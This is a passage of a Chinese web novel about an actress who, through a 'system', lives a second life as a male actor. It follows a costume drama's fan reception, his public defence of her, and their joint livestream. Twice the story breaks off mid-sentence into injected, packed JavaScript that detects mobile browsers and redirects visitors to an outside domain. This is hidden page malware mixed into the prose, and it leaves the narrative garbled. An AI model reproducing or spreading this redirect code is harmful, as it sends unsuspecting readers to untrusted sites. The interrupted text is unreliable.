不懂镜头的男演员在剧组里看她拍得那么快，只觉得她不用心，会要求多加几个特写，但知道殷玉莲的人都晓得，这是她没有创作欲望。 如果她有，那就是像这样——开篇的三分钟镜头，殷玉莲纯用来炫技的，镜头从一直发出声音的绕园林的潺潺小溪，缓缓上移，掠过波光潋影中那人模糊纤细的身形，先照到亭子里的一角阳光。 然后水、光双线衬托，才从左下角的水色，右上角的日光熹微中，出现一张温煦、暖月一样的脸。 他与水光日影并不争色，却好像是这两者物象中最和谐的一种：这正贴合了李若白的这个人物底色，他的姓名，生平，和最后的结局。 与光同尘。 一个在看似温煦的暖阳下出色的人，结局却是和腐朽将死的世家一起衰败，金玉其外，但李若白虽然算不上败絮其中，但他确实是世家贪享民禄，却又真的光风霁月的一个代表形象。 李若白眼角轻轻弯了弯，那时候的君子，就连喜怒之色，都是温文尔雅，慢条斯理的，让你一眼就看出这个人的身份，这个人，他所有的底气。 他就是有这样矜贵和优雅的理由。 甚至连名贵的服饰、简单蓝白两色的搭配，都不能让人觉得，他只是在演一个贵公子，而是他就是出生于这样世家大族的人了。他太从容，太娴雅。 甚至对下人都很温和：“那就再找找吧。” 他让仆从给杂役一点碎银，仆从嘟囔了几声，但还是很利索，然后跟着李若白向连廊里走：“也就是公子这么好气性，祖传玉佩丢了，居然还让他们缓缓寻，还给赏银。” 他不满道：“这也太纵着他们了吧，平日也就罢了……” 李若白轻轻摇了摇头，一个动作就奠定了李若白这个人物是真的会抚恤底层百姓，而并非是把这作为邀名之举的底色。 因为他眼里真的没有骄矜怜悯之色，他只是把这作为平常的举动，没有任何自视甚高的意思，而仆从看他不说，也念叨几句便罢了。 一个场景就让人会心而笑，这两个人都是心善的，仆从也只是被尊卑洗脑了，实际上，他主子是真的好啊，他这样念叨主家都没人说他。 郑灵姝是真的看进去了，她觉得节奏很舒服，因为语速正常，动作不造作，场景也很真实，而且最重要的是，接下来出场的是她的路好：白颖。 白颖也算是内娱少有的非常能扛剧的演员了，就算火得比较早，这几年还是片约不断，只是她毕竟到天花板了，上不去正剧只能在古偶打转，但普普通通剧情她还是能扛住的。 果然剧情就进行到了他们为了找祖传玉佩，找到了女主云浅衾这，而且好死不死，有杂役为了那个赏金，用李若白的身份仗势欺人，女主拔刀相助，顿时心生不满。 接下来估计又是女主误会男配仗势欺人，找上门去，然后不打不相识……有点老套，但还能嗑，郑灵姝低头吃面，没想到下个镜头是：“这个李若白，明明答应好了不再这么折腾这群人了！” 她转身就走，留下一堆惊讶的弹幕： 【啊？他们认识啊？】 李若白云浅衾果然认识，李若白拿着书回到房间，一转身看到云浅衾，仆从差点吓晕正要大叫，李若白笑了笑，仆从也捂住嘴，把惊叫声咽下去，然后又不满又嘟囔地去关窗了。 李若白轻轻一笑，云浅衾自来熟地倒茶喝水，弹幕就一堆人嗑到了。 【啊啊啊啊绝了！这个笑好有CP感】 【内娱好难得的，笑起来很清爽，还很帅的男演员】 【这个男配叫什么名字？让他升咖好吗！】 如果这几个镜头只是因为李若白云浅衾互动感很强，让人嗑到了的话，接下来云浅衾不服气李若白的话，认为不需要让杂役费时费力，她也能找到祖传玉佩，而且他说的，他给的活和银子，对他们这些杂役来说都是好事，是他们赖以为生的基础，都是无稽之谈，从而和李若白打赌的情节，更让人对男配女主的性格有了更深入的了解了。 云浅衾就是风风火火，想到了就去做的锐利飒爽之人，和其他人完全不同，因而李若白注意她，与她交友。 但她走了之后，镜头给了李若白手指一个特写，他依然握着那卷书卷，但是手指，却不知道往下要触碰什么物件，他收敛了笑意，继续端方持正的看书。 【啊啊，这个！原著里云浅衾缝的丑香囊！QAQ】 【天啊，我以为进来就是这一段是大改了，没想到这一段这么还原】 【真的，虽然情节没那么经得起推敲了，但是李若白的神态刻画得很好，这个阶段的李若白就是喜欢而不自知】 【给非原著党科普一下，这里是男主还没出场前，上元节他们几个玩的好的互送礼物，云浅衾没想送香囊，但是因为其中一个提议盲选装错了，李若白拿到了那个，当时仆从还问他这是谁绣的，那么丑……】 【李若白你小子！觉得丑还不是挂上了！原著里还不想让大哥看见，遮遮掩掩的！】 【啊啊，我就说怎么手指就轻轻动了一下，没拿上来，原来是因为香囊一直藏在衣服里面，好细节QAQ】 【演员演技好细腻啊，挺看好他演的李若白的】 【绝了，看预告片我就觉得有氛围感，生怕正片毁了，没想到真的有演技！追了！】 现在的短视频都是截取电视剧自认为精华的一段来吸引观众，这样做的好处当然是扩大影响加拉动收视率，但是对于原本就有看新剧习惯的观众来说，一部剧水准，质感如何，打开看个几分钟，基本就知道了。 导演有没有在好好讲故事，演员能不能不出戏的表达情绪，和主演间有没有CP感……尤其是这种有原著小说的，不夸张地说，基本一集定生死。 因为能接受改编的剧粉一眼看出来能不能贴脸！ 《春江花月夜》上线第一天没什么大风浪，上线第三天开始有自来水宣传，某站有解说，说：“大事很妙”。 【目前改编的线进行到女主和男二相识后，因为牵扯进科举之事，即将和男主相识，男主周宇，emmmm，粉丝一直在说他有进步，还没出场不评价，但是古偶没有白颖是真的不行！谁懂一张国色天香的脸演泼辣聪慧千金的那种舒畅感啊！白颖太适合这个赛道了！】 【本来说上了年纪，很难演少女的，但事实证明，好演员就是好演员，原著来说云浅衾有现世灵魂，少女装扮但成熟心智，与白颖正适配，要大夸特夸的还有和白颖搭戏的男配。】 【太太太帅了！这里主要指那种温柔公子的气质，拿捏得好妙啊！总是笑着，很温和，但是没有那种很假的感觉，而且举止行动都很自然，没有特地端着的那种感觉——】 【谁懂我在第三集看到他下意识把书给仆从，然后双手去扶云浅衾下窗那里，我居然第一反应是真希望云浅衾摔到他怀里QAQ！可惜云浅衾太机敏了，自己落地后，疑问地看向失态的李若白。】 【李若白那个微微愣，有点失落，但是又有点好笑的表情，演得太好了真的！呜呜呜呜，一点都不油腻，细腻含蓄，拿捏得正正好，看得我好希望李若白是男主（哔——）】 这个哔是怕周宇粉丝来骂人，某站观众都熟悉他粉丝的尿性，但是真的好好嗑啊！才放出三集，已经有人催官方加更了，而且还想看李若白和云浅衾cut片段。 因为嗑CP是真的快乐啊。尤其是古偶这种给人看偶像剧的剧种，居然有人在某站上出专门剪辑版的，还有人说： 【温柔公子和刁蛮千金就是很配啊（）在我的视频里他们已经大婚了】 戏外的宋寅也吃到了这波红利，首先就是他的个人账号迎来了一波粉丝增长，小部分粉丝甚至开始嗑起他和白颖的真人了，但更多的是自来水安利宋寅的温柔公子片段。 温柔人设好像一直不温不火的，但有人说得好，温柔从来就没有退市场，而且演得好真的很吃香。 【（捧心）这个无奈的眼神，我要没了】 【李若白，你不要一直放纵云浅衾好吗（大声）她说可能也会成亲你就应该直接去提亲啊！反正你不是也说过了你并不觉得一生一世一双人离谱吗（超大声）】 【我真服了，看之前没想到李若白是男二，我以为是男主（呜呜呜呜呜呜呜）】 【演技真的很好诶，这个片段截下来，还是能看清楚他平静的眼底因为云浅衾到来，泛起惊讶，然后慢慢变成浅浅笑意的过程】 【呜呜呜呜内娱补货就是快，我要这款听到没！】 周宇确实不用担心男配掀桌了，因为男主还没出来，男配已经快把粉丝吸光了。等到男主出场的时候，还有周宇粉丝遍地铺图，用周宇的妆造和颜说服观众，男主肯定会更好嗑的。 结果第四集没有宋寅出场，周宇出场的时候，弹幕满屏的：【？】 客观来讲，周宇是帅的。这是一个吐槽UP主视频开头的原话。但是： 【但是为什么演技这么差啊！说句话油腻地晃两三下身体，你学学隔壁男配的仪态好吗！站在那就是芝兰玉树，光风霁月，你一个将军诶，骑在马上，居然都坐不直？！】 【……我真受不了了，他是不是以为气泡音很有魅力啊】 【啊啊啊啊我的眼睛！为什么用那种猥琐的玩味眼神看我们云妹！云浅衾居然还要表演脸红，我真的（晕厥）】 其实殷玉莲的导演功底，不至于拍得这么差的，周宇能火，也不至于没有一点演技，但坏就坏在，观众对周宇的期待太高了，宋寅把这部剧拔高到了它不该有的高度。 内娱演厌了的知交好友，心生爱慕，他还能拍出让人眼前一亮，丝毫不觉得俗套的感觉，整部剧一瞬间上了质感，上了氛围，周宇一出来，好嘛，又回到内娱正常拉胯水平。 最让人受不了的是，剧情里云浅衾因为任玉的战功赫赫，第一次对作为好友的李若白产生质疑。她质问他，李若白作为被质问者，并没有难堪或者暴怒，第一反应是怔愣。 他好像没有理解到，为什么他们认识这么久，云浅衾反而会因为陌生的任玉怪罪他，而且他对她毫无防备——眼神动作就能看得出来，她质问他之前，他甚至还想拿果子给她。 但她一说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不仅实，还像潺潺流水，真和知名UP说的，和月光似的。相比之下周宇简直被全方位吊打，粉丝再怎么控评，都要被路人嘲他在说什么的程度。 【顶流就这样吗？台词虚成这样都不练练？】 【再次感慨内娱对男明星真的太溺爱了，要是女明星……说成这样早就被喷死了】 【别搁这说你家哥哥是被做局了，你家哥哥唯一的错就是看男配是原音，自告奋勇要上不用配音，笑死，一配上看脸都yw了】 【周宇你演得真的很烂（微笑）】 《春江花月夜》本来没那么火，周宇粉丝非要拦着不让吐槽，路人看到两方吵架深感好奇，不断涌入免费的前两集去审判……虽然也有不感兴趣流失了的，但大部分人确实是被白颖和宋寅扎实的演技留到了。 【看完了，前几集好舒服，男主一出来感觉剧都烂了（微笑）】 【能不能把周宇换了让这个李若白做男主（大拇指）我馋温柔男主这款好久了】 【我说怎么这么脸熟，这小哥前一段时间还在影视城做龙套啊，收拾收拾赶紧升咖，我要演技好的帅哥来演！！】 周宇团队紧急公关，不再和庞大的路人团体对骂，反而邀请路人进入剧来审判，倒是挽回了一点风评，但是再挽回，抵不过演技真的是肉眼可见的差。 宋寅的颜值和演技则是肉眼可见的生产力。白颖飞升不上去一个原因就是男演员拉胯，也镇不住她，但出道这么多年碰到一个不压她，还有CP感的男演员，团队也很欣慰。 “走男二路人缘路线是正确的。” 白颖在录综艺，下周他们剧组要上综艺宣传，她在倒是不担心周宇搞事，但她还是问：“宋寅签公司了吗？” 经纪人遗憾摇头：“听说是没有，听说好多人找他，还有开A签的。”这已经是比较好的经纪约了，可以说是非常看中他的潜力了，但宋寅都给拒了。 白颖皱眉：“你有问为什么吗？” 经纪人耸耸肩。她说：“不知道，听说是在新剧剧组，和其他人也没什么交流。”她低声：“好像是有点难出戏，而且这个剧组说他还蛮难相处的。” 有红就有黑料，不过现在黑太明显了，只是有人明里暗里说宋寅现在在新剧组怎么趾高气扬什么……宋寅除了拍戏不和其他人交流，就没什么人和他关系好，自然也不会为他澄清。 程梦本来很担心，剧组要走的时候再次过去串班，发现宋寅在看他第一次试镜时呈现在剧里的画面。 他一个人坐着，并没有那种其他人以为的乍红的轻浮场面，他依然看得很认真，好像想从里面找出问题。 她来了，他转头。 程梦犹豫：“殷导说你演得挺好的，下周的剧宣综艺……” 宋寅看着她，然后说：“节目说她演得没有灵魂。” 程梦愣了一下，那天她是回去看了才知道宋寅是说最近播的一个综艺，节目组很恶心，没有授权就用盛蹊的切片，作为模板，然后那个综艺的导师说，这就属于演得很模式化，没有灵魂的演技。 评论当然有人反驳，但是盛蹊正身处和周宇的风波里，周宇又被宋寅压着，粉丝邪火没地方发，当然来骂给盛蹊说话的，说她们“眼睛瞎了，毫无审美”。 他们怎么评价，她其实不关心。 让她难过的是，她的老师，当初给她介绍资源的恩施陆蕙兰陆老师就在旁边，她并没有反驳。 现在程梦只是张张嘴，她想起殷导说的匠气很重，猜到他大概是说盛蹊。 她当然也不认同，可是这一刻她看着宋寅的眼睛，忽然鬼使神差说：“可是你演得很好。” 宋寅拿着平板，声音轻轻：“怎么会演得很好呢？” 他努力想弯起嘴角，但是这个表情比剧里，第一次被云浅衾质疑，意识到他在她心中或许远没有任玉那么重要的李若白还要让人心疼。 他哑声，说的过程中在慢慢地吸气，呼吸声好像都在颤：“都是她教我的，我怎么，会演得比她好呢？” 程梦一下子眼睛就酸了。 宋寅擦拭平板屏幕，他也看了很多夸他的评论，他忽然有种感觉：“他们只是欺负她。” 他低头。 欺负她背后没有人说话。 15. 第 15 章 “你和盛蹊是什么关系？” 面试的演播厅里，陆蕙兰穿着休闲服装，翻着资料抬眼问面前的年轻人，后面那句话让人知道她并不是无的放矢：“你们俩演法很像。” 她教过那么多学生，并不是每个学生的演戏习惯，肢体、神态、眼神等的代入顺序都一模一样的，而且关于盛蹊在网上的争议她也知道，这些时间看了那么多，她多少对她的演法印象深刻一点。 宋寅很想开口说话，但他发现站在她的恩师面前，她居然一句话都说不出来，离开这么久了，没能拿出点什么，面对老师，她不愧疚吗？她当然羞愧。 可是她也不是完全没什么可说的，不然，他怎么会站在这里。那天说完之后，程梦忽然刷到业内演技综艺试镜第二轮PK演员的公告，她当时就蹦了起来，但犹豫一下才发给宋寅。 利弊她也说得很清楚了：“第二轮才开始录制，等到播出肯定要以后了。”他看的那个才是第一轮PK的先导片，而第二轮加入的演员名义上是来踢馆的，要求肯定更高。 最重要的是，她不清楚宋寅现场听到说盛蹊那些话会有什么想法。 她小心翼翼地问：“不能联系她公司告个侵权什么的吗？”谁会帮她去告呢？别说现在盛蹊还没解约，自主权还在公司手里，大平台出品的综艺，小公司去告也只会被骂蹭热度吧。 宁露姐还特地发消息来安慰她，她说得没错，公司不把侵权的事闹大是为她好，否则她解约之前再闹一波蹭热度争议，粉丝也不会让她安安静静离开的。 可是。宋寅还是不甘心。 他真的报了名，通过了海选，因为杨导剧组后半段时间很宽松，程梦的剧组拍摄结束了再等活儿，甚至是她陪他一起来的，因为演员要参加演技综艺，肯定需要其他人处理其他事宜，就当宋寅雇了她了。 但是，程梦看着最中央的清瘦青年。他和盛蹊真的很像，但也有些地方不一样。 “我看过你的剧片段，你演得比她好点，但是到这里来又不放松了，如果你是照着她演的，我建议你改改。” 陆蕙兰没等到回答，放下资料准备叫下一个，但她看看宋寅，想了想还是问：“你认不认识盛蹊？” 程梦看宋寅，捏紧了手里的矿泉水瓶。 宋寅手指捏紧：“不认识。” 陆蕙兰表情没什么变化：“她是我学生。” 在场的人都没搞懂这几句对话是什么意思，散场之后程梦紧张地去找宋寅，她看清楚负责登记的工作人员的动作了，她肯定是打了个勾，因为陆老师没说不行，但是她很怕宋寅现在心态不好。 她欲言又止地跟在宋寅背后，看到他忽然停住，转过身来对她扬了下嘴角，虽然很勉强：“我没事。” 程梦：“说，说不定陆老师就是对自己的学生要求比较严格，她觉得盛老师还可以演得更好……” 她有点后悔了，她不应该把这个机会告诉宋寅的，虽然这对新人演员来说也是一次机会，可是他好像，真的很在乎其他人觉得她演得好不好。 而且他说他是和盛蹊学的，可是陆老师却说他演得比盛蹊好……程梦的心也像泡了水的海绵似的，又酸又涩又沉的，可是到了地铁站，她才发现宋寅又没说话了。 他安静地审视着模糊镜面里自己的脸，然后他说：“幸好站在这里的不是盛蹊。”他带着点自嘲，程梦却一直到家里都在发呆。 她看得出来宋寅很难过，但是没想到他会这么难过，尤其是盛蹊的老师陆蕙兰做出那样的评价的时候，她发现不只是宋寅内心对于盛蹊的评价崩塌了，连他对他自己的评价都崩塌了。 那三个字——他和陆蕙兰说他和盛蹊不认识那三个字，几乎都是他违抗本能说出来的，在《春夜》剧组拍了那么多场虚弱的戏，那是她第一次听不清宋寅话头话尾的声音。 可是她知道他不是不敢承认，不是因为怕承认了他就是和盛蹊学的会失去这个机会，他就是……不想让盛蹊知道，原来她的恩师一直觉得她演得没有那么好。 盛蹊的本体和马甲都陷入沉睡了，系统第一次遇到这种状况，连可信度的起起伏伏都来不及顾了，看到盛蹊睁开眼睛刚想说话，一愣，盛蹊已经切换回了宋寅。 他赤着脚走到酒店的镜面前，细致地、好像很困惑地触摸自己这张脸。 然后第一次录制演技综艺的时候，他们在片场准备拍摄，陆蕙兰在看剧本，宋寅也低头看了一会儿要拍什么，然后等陆蕙兰放下剧本的时候才说：“陆老师。” 这会儿没有开始拍摄，虽然演技综艺也有一些导戏的日常但大多是提醒了才开始拍摄的，不会真的全天无修拍摄一些实况，所以宋寅不用担心话被其他人听到。 “对不起，试镜的时候，我太紧张了，您看得很准确，我的表演就是和盛蹊学的。”陆蕙兰看到了他的眼睛，很真诚，很晦涩，有点让她想起她曾经看好的那个学生。 “我们一起长大。” 陆蕙兰无可无不可地点点头。 宋寅：“您能告诉我。”他的声音有些哑：“她到底是哪里演得不够好吗？” 片场声音很小，但是在宋寅耳边却宛若山呼海啸。演员习惯剖析人物内心，说来可笑，宋寅想要冷静，所以仔细来分析她为什么接受不了的动因的时候，居然发现，她一直以为自己是因为脸才没能得到市场的青睐。 她以为自己就算不算天赋型演员，也远远没到剧抛脸的时候，也还是有一些演技的，可是她的老师却给予她肯定。原来不是因为她的外形条件，而就是她演得不好而已。 那为什么宋寅却能得到认可呢？她所获得的真的不是因为这张脸，恰好有一点可以称道的演技吗？ 陆蕙兰没看宋寅：“我和你说了有什么用，你告诉她，她会听吗？” 宋寅声音很低：“她会听的。”她碌碌无为这么多年，难道没想过求助其他人吗？可是，都好像收效甚微。 场工提示要开拍了，陆蕙兰这才抬头看宋寅，表情很淡：“那她为什么不自己来找我？” 这句话好像让宋寅始料未及，而且陆蕙兰打量了一下，摇头：“我不觉得你们一起长大，我从来没听盛蹊提起过你……而且你们也不适合相互借鉴。” 她走了几步，又回头：“你知道如果你和盛蹊来演春夜会是什么情况吗？她会完完全全被你压住。” 陆蕙兰摇了摇头：“这条路她走错了。” 宋寅孤零零地站在原地。 那天晚上宋寅又生病了，这次是他自己去的医院，程梦收到消息匆匆忙忙赶来，看到病历上又是硕大的四个字，营养不良，快气晕了，她知道宋寅在减肥，但是还以为他是养好了身体才敢减的，结果医生委婉询问她病人是不是经济状况不太良好。 还和她解释，营养不良和减肥导致的饥饿不一样，营养不良也可能是因为吃得不够好，反正程梦气得脑子都懵了，到了病房，宋寅一个人在发呆。 他真的很少自己望着窗外这样，即使是在比较孤单的杨导剧组，他一个人不说话时也会默默看剧本，程梦看到过很多次了，她经常去串班。 可是现在，他没有在看剧本，在发呆。 程梦没办法生气了，只能想想，要不她请宋寅吃点好的补补？她也刚发了工资，可是她也不能天天请宋寅吃饭啊！还是劝他雇个助理盯着吧，问题是他有钱么…… 程梦胡思乱想，病房里一时很安静。以至于宋寅的声音响起来的时候，都有一种模糊的失真感。 “你真的觉得，我演得很好吗？” “当然了！”程梦站起来，想夸但有点词穷：“你也不看看李若白让你涨粉多少，而且剧组不都有人接你上下班了吗？他们还嗑你和云妹的CP呢，还有，上次我都看到你的易拉宝了……” 她看这些话完全没作用，然后才结结巴巴道：“其，其实我觉得盛老师也演得挺好的，可是圈子里，不是演技好才能火的。” 她也很遗憾，但是这能有什么办法，娱乐圈的沧海遗珠不止她一个，而且她心里其实也觉得，宋寅演得比盛蹊稍微放松点。 那不是演技高低上的差异，而是，对比一下就能很明显看到，宋寅更沉浸角色。但她知道这样的话说出来会让宋寅伤心。 但宋寅好像看出来了。因为他在可信度偏向里看到了“和盛蹊熟悉”“比盛蹊好一点”。他轻轻地笑了笑。 他说：“我还和粉丝说她不会退圈。”他的声音轻得要命：“那我现在该怎么办呢。” 啊？退圈？程梦急了：“不是，演得不够好也不一定要退圈啊，这圈子里还有这么多演得不好的呢……”护士敲门提醒声音小点，程梦立刻捂嘴点头，但还是小声：“你可以劝劝盛老师，而，而且，你现在好一点了，可以给她介绍机会啊。” 程梦忽然惊住了，因为她看见宋寅泛红的眼眶，离得稍远一点，那些晶莹本来是不明显的，可是因为她刚刚太想说服宋寅，她靠近了点，所以清楚看见宋寅掉眼泪了。 他说：“她怎么会接受我给她的角色，我自己都是因为，她才进的圈……” 她不明白。盛蹊如果有足够底气，宋寅才有他存在的意义。如果盛蹊有演技这个底层逻辑都是错误的，那么换了一张脸，换了一个身份有什么用？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091525|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她能用别的身份走再远又能有什么用？ 他们否定的是她本人。在她本人身上建立起来的一切基础都是没有意义的。 程梦手足无措，甚至想让自己闭嘴，但是她转了几个圈，再想安慰的时候宋寅已经好了，他收拾好了自己的情绪，好像刚刚只不过是程梦离得太近的错觉。 她张了张嘴。 宋寅说：“没关系。” 他哑声：“我可以和她的粉丝道歉，反正，我们也已经这么多年不联系，她近况如何，我怎么会清楚。” 她要销声匿迹，就让她销声匿迹吧。 宋寅看着自己的掌心，她绝对不会放弃宋寅这个角色。 徐可欣在和骂盛蹊的人大战三百回合，对方和人机一样只会说演得尴尬死了，徐可欣有朋友远程相助，哐哐甩他们家哥哥的“演技名场面”，结果对面就破防了。 徐可欣仰天长笑，觉得自己还是有眼光的，哥哥粉丝不知道哥哥演得不好吗？知道！只是他们不允许别人说而已！ 但是她要继续大战的时候却发现宋寅po出了行程单，居然就是那个导致盛蹊被骂的综艺！ 简直岂有此理！徐可欣瞪大了眼睛，但是想想宋寅也可能是为盛蹊打抱不平去的，但是真是的，她这个粉丝都抵制这个综艺了，徐可欣嘟嘟囔囔，打开私信框。 没想到宋寅先发的动态，在他的高光名场面，李若白拒绝云浅衾，同时意识到自己对云浅衾的感情这里。 粉丝嗷嗷嗑。 宋寅说：【我觉得演得很好。】 他转发了盛蹊被骂的那个片段。 徐可欣：！！！ 程梦他们那个聊天群也炸了： 【哥，你咋了？@宋寅】 【真是好朋友啊】 【其实私底下安慰两句就行了，没必要发出来说，这样两个人都挺容易挨骂的（挠头）】 宋寅回复了这句： 【不想她一个人挨骂。】 然后宋寅紧接着发了第二条： 【和周宇老师的试镜片段，还有@演技派综艺里未经授权的切片片段，我们都私底下讨论过很多回，也对过戏，我不认为她是敷衍的、不好的，如果有哪位老师觉得她不行，演得不好，我们可以搭档再演给各位老师看一遍】 因为盛蹊注销了账号，他这条艾特了几乎所有出来说盛蹊片场不专业倒贴周宇，还有当时说盛蹊演得不好的官方，还包括自己的陆蕙兰老师。 陆蕙兰看到这条扬眉。 助理问她，她说：“我只想知道，盛蹊知道吗？” 徐可欣捂嘴。 系统：【宿主……掏空可信度让你和马甲能同时苏醒是非常危险的，而且我要提醒你，你还没有练习如何同时操控两具身体呢？】 宋寅：“这需要练习吗？我不是一直都在做吗？”我不是一直都在否认自己，打压自己……算了。 系统小声：【那，失败了怎么办？】 宋寅的可信度很大程度上建立在演技好这个基础上，万一他和本体都没能收获认可，那…… “那就我们两个人一起退圈，这有什么。”宋寅甚至有些哑然，他垂眸，声音很轻：“反正你没出现前，我本来也是这样的。” 本来，一直就都是这样，而已。 …… 但其实，她是不可能让自己退圈的，第一个自己可以，第二个自己也不可以。 盛蹊看着镜子里自己的脸，她想笑，但是笑不出来，她想了想，假装自己是宋寅，她又能笑得自然一点了。其实她大概明白老师说的，演得很紧，不够好，说她模式化。 这都是她沉浮十年，在这圈子里缠上的要命的东西，她对自己不自信，灵气有些丢掉有些还剩下一点，演戏有时候沉浸有时候很紧张。 这都是盛蹊的问题，可是抛开盛蹊的壳子，宋寅没那么自由，却比她也多有了一点自由。既然她注定这样了，注定得不到认可。 那就让她给自己铺路吧。 宁露姐的消息进来，她打字快，手机疯狂闪烁。她不用猜都知道发了什么。 【盛蹊你疯了！】 【热搜上你千万别回应好吗？】 【那个姓宋的也是有病，自己想挨骂还连累你一起】 【盛蹊，你真的要退圈吗？】 盛蹊背靠着镜面。她想起作为宋寅演的第一场戏，在那个狭小的小房间里，她第一次感受到自由的气息，可以在角色里呼吸，在角色里……活着。 她捂住眼睛。 “我不会……走的。” 她死也不会离开片场的。 16. 第 16 章 徐可欣感觉自己人都给看傻了。 她看着那条博文，难以置信地翻来覆去看了三遍，然后才尖叫一声出来，给朋友夺命连环发： 【我没看错！他真的说要和盛蹊搭档！】 【啊啊啊啊太帅太好嗑了（捂嘴流泪）】 娱乐圈就需要这样有福同享有难同当的真情侣！ 【而且盛蹊之前被骂了那么久，我以为他火起来之前也不会说的，可是他还是忍不住为她说话了（呜呜呜呜呜）】 朋友本来对宋寅无感，看到热搜上这个帖子，心情也挺复杂的，但她还是没发那句，你确定是绝美CP破镜重圆而不是最终BE？ 这个行文看怎么都像是知道你我关系已经不好了，也知道你的戏对你很重要，所以我们这次合作不是因为我们要和好，是因为我想让其他人都因为我知道，你的戏很好好吧。 这是复合吗？这分明是最后一次体面的合体后彻底离婚啊！ 但看徐可欣嗑得起劲，她还是一个字都没说，而且发出了终极疑问：【盛蹊会答应吗？】 徐可欣抹眼泪：【他知道她的习惯，知道她肯定会答应的，因为盛蹊就是很喜欢演戏，而且】 而且，其实徐可欣也不是没有察觉。 很久没有联系，甚至之前还要求她对这段关系保密的两个人，忽然在公开视野下，以这种方式重逢，要么就是盛蹊真的主动抛出橄榄枝和好了，要么就是宋寅已经顾不上在不在乎。 他顾不上在乎她会不会因为这件事对他再生新的恶感，顾不上盛蹊会不会觉得他很越界，很冒犯了。 他只知道，他不想让她和她的戏受到委屈。 从某种意义上来说，这也算是一种孤注一掷吧。 因为只有宋寅为盛蹊说话，现在评论下已经全是周宇的粉丝在狂刷，蹭热度怪了。 也有路人准备吃瓜，还问他们打算在哪里搭档，直播吗？什么时候演之类的，宋寅一概没有回复。 程梦找到剧组来，他在看着手机发怔。 程梦有点难过，过去小声：“她没有回……”“你吗”，两个字还没有说出来，宋寅先勉强扬起嘴角，淡淡地笑：“没有，她回了。” 他能看到他的很多可信度，不断变化，人设摇摇欲坠，整个马甲的维持时间也不断再变化，但是宋寅说：“我在等她生气。可是居然没有。” 宋寅轻声。 她以为她用宋寅这个身份发出这些话的时候会是愤怒冲动的，但是经过昨晚的冷静之后，她居然还是没有，她没有收回，也没有想办法拒绝，只是思绪在那两个片段里打转。 她在想，她要怎么演好那两个片段。 程梦其实也有点欲言又止，她不明白宋寅为什么非要这么做，但是又有点明白，说到底，他其实根本对他自己的角色和演艺生涯都不怎么在意，他在意的就是她被否定而已。 她还是努力劝他：“经过这件事，盛老师说不定就会和你和好的……”毕竟是雪中送炭的情谊。 但宋寅撑着椅子站起来，他饰演的程兰到了精华片段，腿被打断了，他还是要上台，所以宋寅在习惯程兰的行为动作，但程梦一点没看出来，他的腿是完好无损的。 宋寅轻声笑着说：“她不会和我和好了。” 他望着程梦，弯着眼睛轻轻说：“我发了这条，她才永远都不会再和我和好了。” 这是宋寅为了人设做的必要铺垫，也是盛蹊心底里……最真实的想法。 但她还是来了。 开直播的时候很多人不知道有直播，只是在热搜上刷到了盛蹊的公司和她解约的时候才愣了一下，想起来宋寅和盛蹊的这个事儿来。 但他们以为宋寅只是那么一说，没想到一搜，还真有，直播用的并不是宋寅的大号，盛蹊的其他官方账号也没有动态。 他们就是普普通通地在一间练舞室里开了直播，直播间开播的时候甚至只有那么几百号人。 后面还是宋寅的粉丝口口相传，才涨到几千。但大部分人没看到直播，他们是在三天后看到宋寅账号发出的一个视频，才知道他们说要搭档，居然已经拍好了。 但那个时候盛蹊公司的解约声明已经发好了，热搜下面还是很多人都在说快去看直播，还有一个CP超话悄然建立，路人感到好奇，蜂拥而去。 郑灵姝看的是这个直播的完整录屏，因为有个几百粉账号的主播看到这两个人，预感这段会火，完整录下来了。 作为宋寅的路人粉，郑灵姝其实对盛蹊……观感不是很好，也不是不是很好吧，就是复杂。 因为她对盛蹊没印象，虽然室友安素很喜欢她，但是她对宋寅饰演的李若白是真的很喜欢。 盛蹊这件事，在郑灵姝看来宋寅完全没必要掺和，虽然粉丝可以自欺欺人刷说宋寅乐于助人，仗义执言什么的，但宋寅本来就不是当事人，这么发，很容易让人觉得他是被当枪使了。 而且宋寅本人也不是这个性格，郑灵姝更倾向于是宋寅被盛蹊骗了。关键是盛蹊让宋寅这么发，很容易让人觉得宋寅是在炒作好吗？ 更不用说他们还惹上了内娱战斗力最强的周宇的粉丝。在她看来，完全是一场闹剧。 要不是其他粉丝里也有让她来看的…… 这时候室友安素也搬了椅子过来，说她们一起看。 郑灵姝把话咽下去，好吧，她其实也不讨厌盛蹊，因为倒贴那个视频她看着确实怪怪的，也觉得宋寅人很温柔，他能选择做朋友的盛蹊应该也是，反正就是奇妙心态吧。 她拿出薯片分享给室友，顺便看直播。 直播镜头没有特意摆角度，当时的人也不是很多，所以宋寅没有看镜头，而是在把练舞室的软垫收起来，他还没忙多久，门轻轻打开了。 盛蹊先看了镜头一眼，她对镜头很敏感，郑灵姝咬薯片的声音就停了，郑灵姝感觉到气氛的微妙。 本来她觉得宋寅能发那条博，是他们两个商量好，像什么好朋友直播一样，两个人在镜头前表演很好的朋友关系，打抱不平——这样也不怪她观感差了对吧，表演痕迹就是很重。 但是盛蹊走进来之后，练舞室的气氛忽然凝滞，明明里面有其他人，郑灵姝都听到声音了，但是这两个人就只是互相看了对方一眼，然后什么话都没有说，甚至只是同步垂下眼睫，然后就这么找镜头前的位置默默坐下了。 全程没有一句交流。 直播录屏已经是几万转过后的了，所以原直播间零星弹幕上，有几十条新弹幕： 【……好窒息】 【看评论解析说是闹掰了，我看之前：就这？看之后：……想到我和闹掰的好朋友第一次公开场合见面】 【这关系是有多差】 